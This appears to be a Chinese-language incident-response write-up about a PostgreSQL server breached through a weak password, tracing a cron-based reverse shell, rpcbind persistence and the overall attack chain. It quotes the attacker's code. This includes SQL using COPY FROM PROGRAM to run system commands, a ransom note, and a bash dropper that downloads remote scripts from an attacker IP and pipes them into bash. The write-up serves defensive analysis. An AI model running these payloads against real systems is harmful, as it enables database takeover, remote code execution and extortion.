文章总结: 文档记录一起因PostgreSQL配置不当导致的黑客入侵事件应急响应全过程。攻击者通过弱口令爆破获取权限后,利用恶意SQL语句执行命令、植入勒索信息,并通过计划任务实现权限提升,最终利用rpcbind服务建立持久化连接。文章从阿里云告警分析入手,逐步展示计划任务排查、命令解析、端口异常检测等关键技术环节,并总结出弱口令→命令执行→计划任务→rpcbind权限维持的攻击链路,提供了关闭高危服务等实操建议。 综合评分: 80 文章分类: 应急响应,漏洞分析,威胁情报,安全建设,恶意软件
应急响应:追影寻踪彻查入侵轨迹
菜狗 菜狗
只会看监控的实习生
2026年5月2日 08:00 广东
在小说阅读器读本章
去阅读
导语
作者因做postgresql的实验,无意开启对外连接,导致黑客入侵。正愁没有应急响应的环境,刚好可以练练手。希望对大家有所提升。
1.阿里云告警
通过两条告警获取的信息是postpres用户创建的计划任务反弹shell。
2.计划任务排查
发现反弹shell命令,并在日志中获取更多信息,每五分钟执行一次和系统创建root会话验证计划任务的有效性,并获取攻击者ip
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
ls -al /var/log/secure
3. 命令解析
这个命令是无文件落地的,命令中访问的网站就是一个代码托管网站,写代码生成短链接,命令读取文件在执行实现无文件落地。
网站链接:https://pastebin.com/ 文章:https://zhuanlan.zhihu.com/p/657748000
4.端口
端口查看发现111端口异常连接,rpcbind 监听的 111 端口 正在和外网 IP建立稳定连接,还是国外的IP。
netstat -antp
停止 rpcbind 服务 sudo systemctl stop rpcbind 禁用 rpcbind 开机自启 sudo systemctl disable rpcbind 检查相关 RPC 服务(如 NFS) sudo systemctl stop nfs-server 2>/dev/null sudo systemctl disable nfs-server 2>/dev/null
这个多说一嘴,这个rpcbind服务,它的作用建立网络连接的,说起来可能没什么危害,但是可以基于这个服务使用nfs文件共享,这个危害就大了,不懂得师傅可以看我权限提升篇的nfs介绍。
5.总结
这里我以日志的角度,总结攻击流程。
从2025-12-10日起,攻击者通过多次爆破弱口令,拿到postgre用户权限
FATAL: unsupported frontend protocol 0.0: server supports 3.0 to 3.0 FATAL: no PostgreSQL user name specified in startup packet LOG: invalid length of startup packet
并使用一下恶意的sql语句构造命令执行和勒索病毒
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM ‘id’; — 执行系统命令id,获取当前用户权限 COPY cmd_exec FROM PROGRAM ‘ls’;
CREATE DATABASE readme_to_recover TEMPLATE template0; CREATE TABLE readme (text_field VARCHAR(255)); INSERT INTO readme (text_field) VALUES (‘All your data is backed up. You must pay 0.0048 BTC to bc1qvrdra2h8gkjkafpnsyruk0whuj7ezrxlznwp55 In 48 hours, your data will be publicly disclosed and deleted…’);
2025-12-14日进行全面进攻包括但不限于
- 杀死服务器上的大量进程(包括系统进程、应用进程);
- 修改 /etc/hosts、/etc/cron.d 等核心系统配置;
- 篡改文件权限(chattr/chmod)、删除关键文件;
- 操控定时任务(crond),试图植入持久化后门;
- 遍历 /proc 目录,探查服务器所有进程和资源。
源代码:#!/bin/bash pkill -f kinsin pkill -f kdevtmpfsi
function __curl() { read proto server path <<<$(echo ${1///// }) DOC=/${path//////} HOST=${server//:} PORT=${server//:} [[ “x${HOST}” == x”${PORT}” ]] && PORT=80
exec 3>/dev/tcp/${HOST}/${PORT} echo -en “GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n” >&3 (while read line; do [[ “${line}” == $’\r’ ]] && break done && cat) <&3 exec 3>&- }
if [ -x “$(command -v curl)” ]; then curl -fsSL http://210.113.102.198:1870/js/curl.txt |bash elif [ -x “$(command -v wget)” ]; then wget -q http://210.113.102.198:1870/js/wget.txt -O- |bash else __curl http://210.113.102.198:1870/js/pg22.sh|bash fi
虽然多数操作因权限不足失败,但是计划任务成功写入通过postgre用户提权到root,然后使用rpcbind开启111端口实现持久化
流程:弱口令->命令执行->计划任务->rpcbind权限维持
原文链接:https://www.freebuf.com/articles/system/466248.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:只会看监控的实习生 菜狗 菜狗《应急响应:追影寻踪彻查入侵轨迹》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论